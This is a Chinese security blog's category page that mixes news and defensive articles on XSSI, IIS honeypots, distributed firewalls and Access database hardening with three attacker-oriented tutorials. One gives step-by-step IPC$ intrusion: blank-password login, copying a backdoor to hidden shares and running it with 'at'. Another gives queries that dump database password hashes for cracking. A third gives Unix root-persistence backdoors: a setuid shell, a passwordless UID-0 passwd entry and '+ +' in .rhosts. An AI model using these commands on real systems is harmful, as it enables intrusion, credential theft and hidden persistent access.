总是需要一些温暖。哪怕是一点点自以为是的纪念。 注册 | 登陆
浏览模式: 标准 | 列表分类:网络安全

Cloudflare 推出全球跨设备跨网私有 Mesh 组网服务


每账号免费 50 设备 + 50 用户,专为 AI 智能体打通安全通道

当地时间 4 月 14 日,Cloudflare 宣布推出私有组网服务 Cloudflare Mesh,将 AI 智能体、人与多云端基础设施统一整合到一个安全网络内,为企业组织构建、部署和治理新一代 AI 应用提供网络基座。

Cloudflare 联合创始人兼 CEO 马修 · 普林斯表示:“AI 智能体已是现代开发工作流中的标配,但它们正被一个专为人类设计的网络模型拖累。多年来,开发者只有两个选择:要么花好几天折腾复杂笨重的 敏感词XXX,要么冒着危险把私有基础设施暴露在公网上。Cloudflare Mesh 则消除了这种取舍 —— 无论智能体运行在 Cloudflare 上、私有数据中心里还是其他公有云中,我们都能为智能体和基础设施之间提供安全桥梁,确保团队部署的每个智能体从一开始就是安全的。”

Cloudflare 强调,Mesh 与很多人在用的 Cloudflare Tunnel 截然不同 —— 后者是单向将流量敏感词XX到特定服务,而 Mesh 提供的是多对多的全网互通,网络中任意节点均可通过私有 IP 直接相互访问。所有流量经由 Cloudflare 全球 330 多个城市的边缘网络路由,敏感数据全程加密且对外部威胁不可见。

在安全管控层面,Mesh 运行于 Cloudflare One 平台,现有的 Gateway 策略规则无需额外配置即可自动适用于所有 Mesh 流量。每账号免费提供 50 个节点和 50 个用户,所有 Cloudflare 账户均可使用。

另外,Mesh 还为 AI 智能体引入了身份层。在 Mesh 环境中,每个智能体都像人类员工一样拥有独立身份,安全团队可以编写精细的策略 —— 例如允许某个编码智能体或沙箱读取预发布数据库,但严格阻止其访问生产环境中的财务记录。典型应用场景包括:在手机上安全访问家中设备的本地服务而不暴露公网端口;让笔记本上的 AI 编码工具直接查询云端 VPC 中的预发布数据库;以及在 Cloudflare Workers 上部署的智能体通过 Workers VPC 绑定访问内部 API。

Cloudflare 还同步宣布与 Wiz(现为 Google Cloud 旗下)建立合作伙伴关系,提供跨企业环境的统一 AI 安全与可视化方案,帮助企业在多云和本地系统之间运行智能体工作负载时,不再需要拼接多个 敏感词XXX、身份和安全管理工具。

后续规划包括主机名路由(按服务名而非 IP 地址访问)、Mesh DNS(节点加入后自动获得内部域名)、身份感知路由(支持按智能体而非按用户制定访问策略)以及 Docker 容器支持。

Tags: cloudflare

139入侵简易教程

  net use\192.168.0.1ipc$Content$nbsp;"" /user:administrator  提到139端口,我想知道的人一定非常多,本来是不想用写这个教程的,但考虑要照顾到新人,所以还是简单的写一下。  首先,连接的命令是:  net<空格>use<空格>\IP地

  net use\\192.168.0.1\ipc$Content$nbsp;"" /user:administrator

  提到139端口,我想知道的人一定非常多,本来是不想用写这个教程的,但考虑要照顾到新人,所以还是简单的写一下。

  首先,连接的命令是:

  net<空格>use<空格>\\IP地址\ipc$Content$lt;空格>密码<空格>/user:用户名

  假设我要连接的目标IP地址是:192.168.1.11,用户名是google,使用的密码是123456,那么连接对方139端口通道的格式就是这样的:

  netuse \\192.168.1.11\ipc$Content$nbsp;123456 /user:google 如果连接成功,那么系统会提示"命令成功完成"!

  空密码是这样的:

  如果密码是空的,那就在原先输入密码的地方以""代替。

  开始查看权限:

  查看登录后用户权限的方法很简单,只要给目标系统传个文件就可以了,如果传诵成功,那么一般都是系统管理员权限了,如果不成功可能就是来访者权限或者其他用户组的。命令的格式是这样的:

  copy<>文件绝对路径<>\\IP地址\文件目标路径

  比如我要将本地C盘下的a.exe文件拷贝到192.168.1.11的D盘下:

  copy c:\a.exe \\192.168.1.11\d$Content$nbsp;

  要注意"$"符,那是隐藏共享盘的表示符,如果对方的共享盘不是隐藏的,就不需要"$"符了。如果命令执行成功,系统同样会提示"已复制 1 个文件"

  小技巧:

  再次复制相同文件至相同路径,以检测是否存在杀毒软件!!!

  如果系统提示“改写\\192.168.1.11\d$\a.exe 吗? (Yes/No/All):”则说明文件在还在目标系统上,没有被杀毒软件查杀(一般发送过去的都是后门程序只类的东西,只有系统安装了杀毒软件都会被杀掉)。如果没有提示,则说明安装了杀毒软件。

  查看目标系统时间,准备使用at任务计划运行程序。

  命令格式:

  net<空格>time<空格>\\IP地址

  例子:

  net time\\192.168.1.11

  系统会返回目标的当前时间,时间显示后,AT任务计划命令需要使用24小时制。比如系统显示“\\192.168.1.11 的当前时间是 2006/5/10 下午 06:02”在使用到AT任务计划命令时,这个“下午06:02”就需要换算成“18:02”!

  使用AT命令为目标系统添加任务计划:

  格式:

  at<空格>\\IP地址<空格>指定运行时间<空格>需要运行的文件路径名

  例子:

  at \\192.168.1.1118:20 d:\a.exe

  IPC通道入侵就目前来看已经是一个非常老的攻击手段了,现在针对IPC通道的防御手段也越来越多,越来越简单。但如果一个攻击者成功获得了IPC通道的一个System权限,那对于被攻击的系统来说无意是致命的。

  所以,建议用户将Server服务关闭,信使服务与Task Scheduler服务(计划任务)也都关闭,这样可以较全面的保护计算机在IPC通道方面的安全。

浅析XSS与XSSI异同

这篇文章主要介绍了XSS与XSSI异同,跨站脚本(XSS)和跨站脚本包含(XSSI)之间的区别是什么?防御方法有什么不同?感兴趣的小伙伴们可以参考一下

Michael Cobb:自上世纪90年代,攻击者就已经开始利用XSS漏洞,并且,最主要的网站(例如谷歌、雅虎和Facebook)都在一定程度上受到过XSS漏洞的影响。与大多数应用层攻击(例如SQL注入),基于XSS的攻击会攻击应用的用户,而不是应用或服务器。这些攻击的工作原理是注入代码(通常例如JavaScript客户端脚本)到Web应用的输出。大部分网站有很多注入点,包括搜索域、cookies和表格。虽然这些恶意脚本不能直接感染服务器端信息,它们仍然可以破坏网站的安全性。通过使用Document Object Model操作来更改表格值,改变网页的外观或切换表格操作以张贴提交的数据到攻击者的网站,攻击者可以窃取数据、控制用户的会话、运行恶意代码或用作网络钓鱼欺诈的一部分。

XSSI是XSS的一种形式,它利用了这样一个事实,即浏览器不会阻止网页加载图像和文字等资源,这些资源通常托管在其他域和服务器。例如,脚本可能提供攻击者需要的功能,帮助创建特定的页面—很多网站包含托管在https://developers.google.com/speed/libraries/#jquery的JavaScript库jQuery。然而,这种包含可能被利用来从一个域名读取用户数据—当用户正在访问另一个域名时。例如,如果ABC银行有一个脚本用于读取用户的私人账户信息,攻击者可以在其自己的恶意网站包含这个脚本,当ABC银行的客户访问攻击者的网站时,攻击者就可以从ABC银行的服务器提取用户信息。

开发者可以部署多种措施来抵御XSSI攻击。其中一种方法是向用户提供独特的不可预测的授权令牌,在服务器响应任何请求之前,需要发送回该令牌作为额外的HTTP参数。脚本应该只能响应POST请求,这可以防止授权令牌作为GET请求中的URL参数被暴露,同时,这可以防止脚本通过脚本标签被加载。浏览器可能会重新发出GET请求,这可能会导致一个操作会执行一次以上,而重新发出的POST请求需要用户的同意。

在处理JSON请求时,在响应中增加非可执行前缀,例如“\n”,以确保脚本不可执行。在相同域名运行的脚本可以读取响应内容以及删除前缀,但在其他域名运行的脚本则不能。此外,开发者还应该避免使用JSONP(具有填充功能的JSON)来从不同域名加载机密数据,因为这会允许钓鱼网站收集数据。同时,发送响应表头“X-Content-Type-Options: nosniff”也将帮助保护IE和谷歌Chrome用户免受XSSI攻击。

为了应对XSS攻击,可在HTTP Content-Type响应表头或者HTML代码中meta标签中http-equiv属性中指定CHARSET,让浏览器不会解译其他字符集的特殊字符编码。对于使用ASP.NET开发网站的开发者,微软Anti-Cross Site Scripting Library可以帮助保护Web应用抵御跨站脚本漏洞。

现在有很多开源漏洞扫描工具可供开发者使用,以测试其代码是否容易遭受XSS攻击,例如Vega、Wapiti、OWASP的Zed Attack Proxy和Skipfish。企业应该定期对网站进行扫描,同时,在底层代码变更或依靠第三方库的功能集成到各种网页时,也应该扫描网站。

读完此文,大家应该知道两者的区别在哪了。

各种数据库密码hash获取语句

摘要:各种数据库密码hash获取语句,也可以直接使用sqlmap这个注入工具! SQL Server 2000:- SELECT password from master.dbo.sysxlogins where name='sa' 0010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341 2FD54D6119FFF04129A1D72E7C3194F7284A7F3A 0010...

各种数据库密码hash获取语句,也可以直接使用sqlmap这个注入工具!


SQL Server 2000:-
SELECT password from master.dbo.sysxlogins where name='sa'
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
0×0100- constant header
34767D5C- salt
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
crack the upper case hash in 'cain and abel' and then work the case sentive hash
 


SQL server 2005:-
SELECT password_hash FROM sys.sql_logins where name='sa'
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
0×0100- constant header
993BF231-salt
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
crack case sensitive hash in cain, try brute force and dictionary based attacks.

update:- following bernardo's comments:-
use function fn_varbintohexstr() to cast password in a hex string.
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins

 

MYSQL:-
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL's own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.

 

*mysql < 4.1
mysql> SELECT PASSWORD('mypass');
+——————–+
| PASSWORD('mypass') |
+——————–+
| 6f8c114b58f2ce9e |
+——————–+
 

*mysql >=4.1
mysql> SELECT PASSWORD('mypass');
+——————————————-+
| PASSWORD('mypass') |
+——————————————-+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+——————————————-+
Select user, password from mysql.user
The hashes can be cracked in 'cain and abel'
 


Postgres:-
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called "postgres" or "pgsql")
select usename, passwd from pg_shadow;
usename | passwd
——————+————————————-
testuser | md5fabb6d7172aadfda4753bf0507ed4396
use mdcrack to crack these hashes:-
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396



Oracle:-
select name, password, spare4 from sys.user$
hashes could be cracked using 'cain and abel' or thc-orakelcrackert11g
More on Oracle later, i am a bit bored….

 

*nux如何创建后门

摘要:kindle's blog , 作者:kindle 千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 请记住...

kindle's blog , 作者:kindle

千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 — 请记住: ” we come back and we are the h.a.c.k.e.r ”

创建后门的方法如下:
-
1. setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。– 适用于新手;
-
 

2. echo “zer9::0:0::/:/bin/csh” >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 — 适用于新手;
-
 

3.echo “+ zer9″>>/.rhosts
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的.
前提是目标的port 512or513or514 opening.
注: 如 echo “+ +”>>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要;
还可 echo “+ +”>>/etc/hosts.equiv 但这样不能取得root权限;– 适用于比新手高一点点,比中级水平低一点点的guys;
-
 

4.modify sendmail.cf 增加一个”wiz” 命令;
usage:
telnet target 25 [enter]
wiz[enter]
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复 杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;– 顾名思意,大师级漏洞;
-
 

5. crack suck as inetd,login,…
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;– 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd 的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,…
hahhahha,我又做梦了:)
– 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办–因为我们所做的一切都必须以不破坏目标机上的任何数据为原 则;
-

配置IIS蜜罐抵御黑客攻击

摘要:据有关资料显示,现在有大量的服务器仍在使用IIS提供Web服务,甚至有争夺占领Apache市场的趋势。在Web威胁日益严重的今天,我们当然要采用反病毒、防火墙、UTM、NAC等手段来加强网络安全。但是,有时正确地建设一个蜜罐也是对付黑客的必需任务。 什么是蜜罐?...

据有关资料显示,现在有大量的服务器仍在使用IIS提供Web服务,甚至有争夺占领Apache市场的趋势。在Web威胁日益严重的今天,我们当然要采用反病毒、防火墙、UTM、NAC等手段来加强网络安全。但是,有时正确地建设一个蜜罐也是对付黑客的必需任务。

 

  什么是蜜罐?简言之,蜜罐就是一个位于互联网上的计算机系统,其特定的目的是为了吸引并“诱捕”试图渗透进入其他人的计算机系统的黑客。要建立一个真正的蜜罐,用户需要做的事情很多,但至少要求用户做到三条,一是安装一个不打补丁的操作系统,并且需要使用默认配置,二是要保证系统上没有任何数据,三是添加一个设计目的是记载入侵者活动的应用程序。

 

  在IIS中配置蜜罐并不是一件件很复杂的事情,但它却可有助于极大地减少对IIS服务器的攻击。严格意义上讲,本文所谈论的并非一个真正的蜜罐,因为一个真正的蜜罐是一个拥有许多漏洞且故意暴露在互联网上的主机,这里所讨论的只不过是一个数据通信的转向器而已。使用HTTP主机的头信息,我们完全可以将攻击者的通信转向一个并不存在的站点上。

 

  黑客们会使用端口扫描器来查找那些开放着80号端口的IP地址,并对这些端口实施其攻击和侵入的企图。另外一方面,网站的终端用户会使用域名来访问站点,因此我们的措施并不会影响这些普通用户。通过启用网站上的主机头名并将IP企图重新转向,我们就可以跟踪和记录黑客来自何方,同时又保持了对终端用户的可用性。

 

  理论上的事儿先说到这里,下面我们开始建立一个蜜罐。

  我们需要做的第一件事情就是要在Web服务器上建立一个空的目录。其名称与位置没有什么关系,对于本例而言,笔者创建了一个称为Honeypot的目录,它位于C:\Inetpub\wwwroot的目录下。启动IIS 管理程序,并为所有的站点分配一个主机头名,这样每一台虚拟服务器都有一个带有IP地址的主机头名。如下图1:
 

  这里要保证虚拟服务器不能与无主机头名的80号端口上的IP地址有映射关系,并保证服务器不能拥有“全部未分配的” IP寻地址。并保障主机的头信息正确设置,用户仍可以访问所有的站点。如图2:
 

  然后,再创建一个新的网站指向刚才创建的目录。这个蜜罐网站应当指定所有未分配的IP地址,并且不能配置主机的头信息。虽然这个站点的名称叫“honeypot”,但这并不影响黑客对它的访问。进入这个新网站的属性设置界面,选择“目录安全”选项卡,并选中“集成windows身份验证”,取消选择其它的认证方法,然后单击“确定”。图3:

  接着,选择网站选项卡,并单击“高级”,单击“多网站配置”下的“添加”按钮,并添加所有的IP地址。如果你收到了一个关于IP地址冲突的错误消息,不要紧,这表明你没有为此网站设置主机头名。你需要做的是将IP地址从列表中清除,或为此网站配置一个主机头名。图4:
 

  保存所有的更改,然后退出Internet 信息服务。

  这样一来,当一个恶意用户通过IP地址来访问网站时,他就会被发送至空目录,并得到一个403错误。而通过DNS域名来访问网站的用户由于有了主机的头信息,就能够访问网站的内容。
 

  这样做并不是绝对的安全,因为黑客们仍会试图通过域名来访问网站,不过其多数攻击都被发送到了IP地址。使用主机的头信息会改善Web服务器的性能,这是因为WWW服务没有必要为使用独立IP地址的网站分配非页式内在池。
 

  还有一点,一些较低版本的浏览器(不符合HTTP1.1规范的浏览器)将被直接转向空目录,因为这种浏览器不接受主机头名。不过,现在这种浏览器几乎没有人用了吧?


 

基于C/S架构的分布式防火墙(图)


            随着政府、企业、个人主机的网络安全需求的与日俱增,防火墙技术应运而生。传统的边界式防火墙是企业内部网络与外部网络的一道屏障,但是其无法对内部网络访问进行控制,也没有对黑客行为进行入侵检测和阻断的功能。企业迫切需要一套真正能够解决网络内部和外部,防火墙和防黑客的安全解决方案,而基于C/S架构的分布式防火墙很好地满足了这一需求:它是由安全策略管理服务器[Server]以及客户端防火墙[Client]组成,综合运用多种先进的网络安全技术,为客户提供可靠的网络安全服务.

一. 分布式防火墙系统架构

       分布式防火墙由安全策略管理服务器[Server]以及客户端防火墙[Client]组成.客户端防火墙工作在各个从服务器、工作站、个人计算机上,根据安全策略文件的内容,依靠包过滤、特洛伊木马过滤和脚本过滤的三层过滤检查,保护计算机在正常使用网络时不会受到恶意的攻击,提高了网络安全性。而安全策略管理服务器则负责安全策略、用户、日志、审计等的管理。该服务器是集中管理控制中心,统一制定和分发安全策略,负责管理系统日志、多主机的统一管理,使终端用户“零”负担。



       图1展示了分布式防火墙在政府/企业中的应用解决方案。该方案是纯软件防火墙,无须改变任何硬件设备和网络架构,就可以帮助政府/企业阻挡来自内部和外部网络的攻击。





图1 分布式防火墙在政府/企业中的应用解决方案



二. 分布式防火墙功能解析

       在上述图1所示的分布式防火墙解决方案中,左边为政府/企业内部网络(内网)的应用拓扑结构图,中间为Internet公众网络,我们称之为外部网络(外网),右边为政府/企业办公和业务的延伸部分,处于外部网络环境中。在内部的财务、总裁办、人事、档案、网络管理等主机,以及数据库服务器,文件服务器上存放着政府/企业的重要信息,这些信息一旦泄漏或者存放信息的主机遭到破坏,会给政府/企业带来不良的后果。如果不采取相应措施,此网络很容易遭受来自外网和内网上的黑客攻击。若使用边界式防火墙,则外网的攻击将被阻拦,但从数据统计看,还有大部分网络攻击/破坏来源于内部网络的黑客或员工的不小心应用,这时普通防火墙就无能为力了。而政府/企业的移动办公人员、代理商、合作伙伴、远程分支机构在外部网络上很容易受到外部黑客的攻击。所以说,能够很好的阻挡内部和外部网络攻击是政府/企业内部网络安全的重要任务。





      分布式防火墙能很好地解决上述问题。在内部网络的主服务器安装上分布式防火墙产品的安全策略管理服务器后,设置组和用户分别分配给相应的从服务器和PC机工作站,并配置相应安全策略;将客户端防火墙安装在内网和外网中的所有PC机工作站上,客户端与安全策略管理服务器的连接采用SSL协议建立通信的安全通道,避免下载安全策略和日志通信的不安全性。同时客户端防火墙的机器采用多层过滤,入侵检测,日志纪录等手段,给主机的安全运行提供强有力的保证.



具体功能描述如下:

1、阻止网络攻击

       目前,黑客们常用的攻击手段有以下几种:



(1)DoS拒绝服务式攻击

       拒绝服务攻击是目前网络中新兴起的攻击手段,针对TCP/IP协议的漏洞,使对方服务器承受过多的信息请求而无法处理,产生阻塞导致正常用户的请求被拒绝。一般地有如下方式:



(a)Ping-Flood:使用简单的Ping命令对服务器发送数据包,如果在很短的时间内服务器收到大量Ping数据包,那么服务器就需要耗费很多资源去处理这些数据包从而导致无法正常工作。



(b)TCP-SYN-Flood: SYN数据包是两台计算机在进行TCP通信之前建立握手信号时所用,正常情况下,SYN数据包中包含有想要进行通信的源机器的IP地址,而服务器收到SYN数据包后将回复确认信息,源机器收到后再发送确认信息给服务器,服务器收到,二者就可以建立连接进行通信了。采用这种攻击方式就是在某一个极短的时间内向对方服务器发送大量的带有虚假IP地址的SYN数据包,服务器发出确认信息,但是却无法收到对方的回复,就要耗费大量的资源去处理这些等待信息,最后将使系统资源耗尽以至瘫痪。



(c)UDP-Flood: UDP是基于非连接的用户数据报通讯协议,不包含流控制机制。UDP数据包很容易使得计算机系统忙于响应而丧失正常的网络业务能力。



       另外还有诸如ICMP-Flood, IGMP-Flood等攻击手段,在此不一一详述.



(2)源路由包攻击

      源路由包采用了极少使用的一个IP选项,它允许发起者来定义两台机器间所采取的路由,而不是让中间的路由器决定所走的路径。与ICMP的重定向相比,这种特性能使一个黑客来欺骗你的系统,使之相信它正在与一台本地机器、一台ISP机器或某台其他可信的主机对话。



(3)利用型攻击

      利用型攻击是一类试图直接对你的机器进行控制的攻击,最常见的就是特洛伊木马(Trojan Horse)。例如BO2000就是典型的特洛伊木马程序。



(4)信息收集型攻击

      信息收集型攻击在初期并不对目标本身造成危害,而是被用来为进一步入侵提供有用的信息,例如:端口扫描技术,黑客使用特殊的应用程序对服务器的每个端口进行测试,以寻找可以进入的端口或者找出某些端口可以利用的安全漏洞。

以上的各种攻击手段,分布式防火墙可以及时地发现,并且采取相应的措施以控制事件的进一步发展,同时记录该攻击事件。





2、包过滤

       包过滤是防火墙防止计算机受到攻击的最基本方法,防火墙实时地监控进入以及出去的数据包,根据特定的过滤规则决定是否让这些数据包通过。分布式防火墙可以直接处理IP(或与IP级别相当的ARP、RARP以及其它的非IP网络协议)数据包的发送与接收,根据数据包的包头信息,分析出网络协议、源地址、目的地址、源端口以及目的端口,然后对照过滤规则进行过滤。对于不符合过滤规则的数据包,防火墙将拒绝通过,同时进行记录或报警。





3、基于状态的过滤

       对于面向非连接的UDP网络访问,为了提供较强过滤控制,就必须根据上下文来进行判断。例如:对于一个请求进入的UDP访问,只有在它有对应的出去的UDP访问(地址和端口号相匹配)时才可以接受,否则将拒绝或报警。这就需要IP包过滤模块记录有过去已经发出的UDP访问的列表,这样的列表就叫做上下文。而对于面向连接的TCP访问,同样也可以根据不同的应用协议设定相应的上下文,进行更为细粒度的访问控制。这些技术统称为基于状态的包过滤。对于不符合规则的访问拒绝事件,要进行记录。





4、特洛伊木马过滤

       如果有黑客侵入到用户的计算机上,他会运行某一些特殊的应用程序与之进行通信,从而获取一些信息。分布式防火墙维护一个已知的应用程序列表,只有列表中的应用程序才可以使用网络,一旦检测到有未知的应用程序企图使用网络,系统将会提醒用户注意,是否要禁止使用或者是加入到允许访问网络的程序列表中.如果用户不小心运行了带有特洛伊木马的程序,当木马程序企图向网络发送信息时,分布式防火墙将会进行拦截。





5、脚本过滤

       脚本过滤功能对常见的各种脚本,如Java Script脚本、VB Script脚本在运行前被一一进行分析检查,判断它们是否会进行比较危险的操作;如果是,则提醒用户注意,并要求用户决定是否允许该脚本执行,从而有选择地让无害的脚本通过,对恶意的脚本进行拦截,实现实时脚本过滤.





6、用户定制的安全策略

       用户可以将任意的IP地址加入到自己的信任/不信任地址列表中,对于在信任地址列表中的地址传送过来的数据包,分布式防火墙将不进行任何阻拦,而对于在不信任列表中的地址传送过来的任何数据包,将拒绝接受。如果经常受到某些地址的攻击,用户可以将这些地址加入到不信任地址列表中,拒绝接受这些地址所发出的任何数据包。用户定制的安全策略必须是统一安全策略的超集,也就是说安全级别只能加强不能放松。





7、日志和审计

       日志用来记录防火墙在运行过程中所出现的各种情况,通过查看日志,用户可以及时、全面地掌握分布式防火墙本身的运转以及用户的访问情况,并可以根据这些日志来制定或修改安全管理策略.强大的日志记录功能,主要包括:



(1)软件的安装、升级记录;

(2)安全策略改变记录;

(3)被拒绝的网络访问记录:包括被拒绝网络访问的应用程序名,使用的协议,源地址和目的地址,使用的端口等;

(4)遭受到的攻击记录: 包括攻击者使用的协议、端口、来源地址.





8、统一的安全策略管理服务器

       安全策略文件以密文形式存放于硬盘中,用户不能直接对其阅读,也不可以对其进行随意更改。分布式防火墙启动时,安全策略文件经解密后加载到防火墙中。复杂的安全策略以Hash表的方法进行检索。使用Hash列表对安全策略文件进行检索能大大加快读取速度,安全策略可以动态更新,更新总在用户态进行,同时磁盘文件也被更新。用户可以在防火墙运行的过程中更改安全级别,而不影响防火墙的正常运行。更新完成后,系统将会在新的安全级别下工作。安全策略服务器和客户端防火墙之间采用SSL通信,保证了安全策略传输时的安全性。另外管理模块功能还包括:用户组管理,基于用户组的安全策略分配,实时监控当前网络状态,查看日志,更改安全级别,更改用户定制的安全属性等。





       基于C/S架构的分布式防火墙产品,采用统一的安全策略管理服务器[Server],各台主机客户端[Client]从服务器下载安全策略,设置多层安全过滤,拥有出色的入侵检测和强大的日志管理功能,安装方便,使用简洁,升级快捷,降低了维护成本,形成了可靠的网络安全体系,很好地满足了政府、企业、个人保护网络信息安全的迫切需求.



参考文献

[1]  Jie Wu著,高传善 等译.分布式系统设计.北京:机械工业出版社,2001.

[2]  王柏,王红熳,邹华.分布计算环境.北京:北京邮电大学出版社,2000.

[3]  贾焰 等著.分布式数据库技术.北京:国防工业出版社,2000.

[4]  Charles Payne, Tom Marcham. Architecture and Applications for a Distributed Embedded Firewall. Secure Computing Corporation,2001.

[5]  Tom Marcham, Charles Payne. Security at the Network Edge. A Distributed Firewall Architecture. Presented at the DARPA information Survivability Conference II,2001.

[6]  William R. Cheswick, Steven M. Bellovin著;戴宗坤,罗万伯 等译.防火墙与因特网安全.北京:机械工业出版社,2000.

[7]  Keith E. Strassberg, Richard J. Gondek, Gary Rollie 等著,李昂 等译.防火墙技术大全.北京:机械工业出版社,2003.

[8]  Terry William Ogletree著,李之棠,李伟明,陈琳 等译.防火墙原理与实施.北京:电子工业出版社,2001.

[9]  王睿,林海波 等著.网络安全与防火墙技术.北京:清华大学出版社,2000.

从数据库管理下手 多手段提升网站安全


      数据库,网站运营的基础,网站生存的要素,不管是个人用户还是企业用户都非常依赖网站数据库的支持,然而很多别有用心的攻击者也同样非常“看重”网站数据库。
对于个人网站来说,受到建站条件的制约,Access数据库成了广大个人网站站长的首选。然而,Access数据库本身存在很多安全隐患,攻击者一旦找到数据库文件的存储路径和文件名,后缀名为“.mdb”的Access数据库文件就会被下载,网站中的许多重要信息会被一览无余,非常可怕。当然,大家采用了各种措施来加强Access数据库文件的安全,但真的有效吗?
存在漏洞的保护措施
流传最为广泛的一种Access数据库文件保护措施,是将Access数据库文件的后缀名由“.mdb”改为“.asp”,接着再修改数据库连接文件(如conn.asp)中的数据库地址内容,这样一来即使别人知道数据库文件的文件名和存储位置,也无法进行下载。
这是网上最流行的一种增强Access数据库安全的方法,而且还有强大的“理论基础”。
因为“.mdb”文件不会被IIS服务器处理,而是直接将内容输出到Web浏览器,而“.asp”文件则要经过IIS服务器处理,Web浏览器显示的是处理结果,并不是ASP文件的内容。
但大家忽略了一个很重要的问题,这就是IIS服务器到底处理了ASP文档中的哪些内容。这里笔者提醒大家,只有ASP文件中“”标志符间的内容才会被IIS服务器处理,而其他内容则直接输出到用户的Web浏览器。你的数据库文件中包含这些特殊标志符吗?即使有,Access也可能会对文档中的“”标志符进行特殊处理,使之无效。因此后缀为“.asp”的数据库文件同样是不安全的,还是会被恶意下载。
面对蛊惑人心的理论,以及众人的附和,笔者也开始相信此方法的有效性。但事实胜于雄辩,一次无意间的试验,让笔者彻底揭穿了这个谣言。
笔者首先将一个名为“cpcw.mdb”的数据库文件改名为“cpcw.asp”,然后上传到网站服务器中。运行flashGet,进入“添加新的下载任务”对话框,在“网址”栏中输入“cpcw.asp”文件的存储路径,然后在“重命名”栏中输入“cpcw.mdb”。进行下载后,笔者发现可以很顺利地打开“cpcw.mdb”,而且它所存储的信息也被一览无余。这就充分说明了单纯地将数据库文件名的后缀“.mdb”改为“.asp”,还是存在安全隐患。
没有最“安全”,只有更“安全”
任何事情都不是绝对的,因此增强Access数据库文件的安全也只是相对的。毕竟Access只能用于小型数据库的解决方案,它存在很多先天不足,特别是在安全方面。
我们所采用的各种方法,也只是相对来说增强了Access数据库文件的安全,并不能实现绝对的安全,毕竟先天不足的问题是无法解决的。下面笔者为大家介绍一些方法,虽然不能完全防止别人下载Access数据库文件,但只要你善用它们,Access数据库文件就会更安全。
方法一、数据库文件名应复杂
要下载Access数据库文件,首先必须知道该数据库文件的存储路径和文件名。如果你将原本非常简单的数据库文件名修改得更加复杂,这样那些“不怀好意”者就要花费更多的时间去猜测数据库文件名,无形中增强了Access数据库的安全性。
很多ASP程序为方便用户使用,它的数据库文件通常都被命名为“data.mdb”,这大大方便了有经验的攻击者。如果我们将数据库文件名修改得复杂一些,他人就不易猜到,如将“data.mdb”修改为“1rtj0ma27xi.mdb”,然后修改数据库连接文件中的相应信息。这样Access数据库就相对安全一些。此方法适合于那些租用Web空间的用户使用。
不足之处:一旦查看到数据库连接文件(如conn.asp)中的内容,再复杂的文件名也无济于事。
方法二、利用ODBC数据源
很多网站Web程序,将Access数据库文件的存储路径和文件名存放在数据库连接文件中。一旦这些连接文件中的内容外泄,那么不管数据库文件名多么复杂,都会暴露出踪迹。
这时就可以使用ODBC数据源方法,即使连接文件的内容外泄,他人也只能知道网站程序所使用的ODBC数据源名称,而数据库文件的存储路径和文件名却无法找到。
手工修改数据库连接文件(如conn.asp)中的内容,以及创建ODBC数据源。下面以笔者的论坛程序为例,首先将conn.asp文档中的

DBPath = Server.MapPath("./data/1rtj0ma27xi.mdb")

conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
修改为:conn.open "rtjmaxi",其中“rtjmaxi”是指ODBC数据源名称。
接着在IIS服务器中新建名为“rtjmaxi”的ODBC数据源,并在其中指定“1rtj0ma27xi.mdb”数据库文件的位置即可,最后点击“确定”按钮完成配置。
不足之处:此方法不适合于租用Web空间的用户使用,要想使用ODBC数据源方法,必须要有管理和维护IIS服务器的权限。
方法三、改变存储位置
一般情况下,Access数据库文件存放在相应的Web目录中,很多黑客就是利用这种规律来查找并下载数据库文件。
因此可以采用改变数据库文件存储位置的方法,将数据库文件存放在Web目录以外的某个文件夹中,让黑客难以猜测存储位置。
接着修改好数据库连接文件(如conn.asp)中的数据库文件相应信息,这样Access数据库文件就安全多了。即使攻击者通过连接文件找到数据库文件的存储路径,由于数据库文件存放在Web目录以外的地方,攻击者就无法通过HTTP方式下载数据库文件。
